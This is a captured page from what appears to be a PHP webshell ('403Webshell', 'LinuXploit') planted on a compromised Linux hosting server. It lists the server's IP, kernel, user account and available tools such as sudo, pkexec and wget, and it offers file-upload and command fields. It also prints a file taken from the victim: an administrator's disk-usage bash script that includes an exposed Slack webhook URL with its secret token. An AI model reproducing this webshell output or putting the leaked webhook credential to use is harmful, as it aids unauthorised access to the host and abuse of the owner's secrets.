- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.118.252.85
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/ddos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/ddos/above10gbaccounts
#!/bin/bash

# Set the threshold in GB
THRESHOLD=10

# Output file
OUTPUT_FILE="/home/whwteam/output_file.txt"

# Clear the output file
> $OUTPUT_FILE

WEBHOOK_URL="https://hooks.slack.com/services/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"
MESSAGETEXT="Above 10Gb accounts check Started on ${HOSTNAME}!! \n\n Please do not kill the process...!!"
USERNAME="Accounts_Above10GB"
echo $MESSAGETEXT

JSON="{ \"username\":\"$USERNAME\", \"attachments\":[{\"color\":\"warning\" , \"text\": \"$MESSAGETEXT\"}]}"
curl -s -d "payload=$JSON" "$WEBHOOK_URL"

# Loop through each user directory in /home
for dir in /home/*; do
    if [ -d "$dir" ]; then
        # Get the disk usage in GB
        usage=$(du -sb "$dir" 2>/dev/null | awk '{print $1}')
        usage_gb=$(echo "scale=2; $usage/1024/1024/1024" | bc)

        # Check if the usage is above the threshold
        if (( $(echo "$usage_gb > $THRESHOLD" | bc -l) )); then
            echo "$dir is using $usage_gb GB" >> $OUTPUT_FILE
        fi
    fi
done
WEBHOOK_URL="https://hooks.slack.com/services/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"
MESSAGETEXT="Accounts using more than $THRESHOLD GB check completed on ${HOSTNAME}. The details are at $OUTPUT_FILE \n\n "
USERNAME="Accounts_Above10GB"
echo $MESSAGETEXT

JSON="{ \"username\":\"$USERNAME\", \"attachments\":[{\"color\":\"good\" , \"text\": \"$MESSAGETEXT\"}]}"
curl -s -d "payload=$JSON" "$WEBHOOK_URL"


Youez - 2016 - github.com/yon3zu
LinuXploit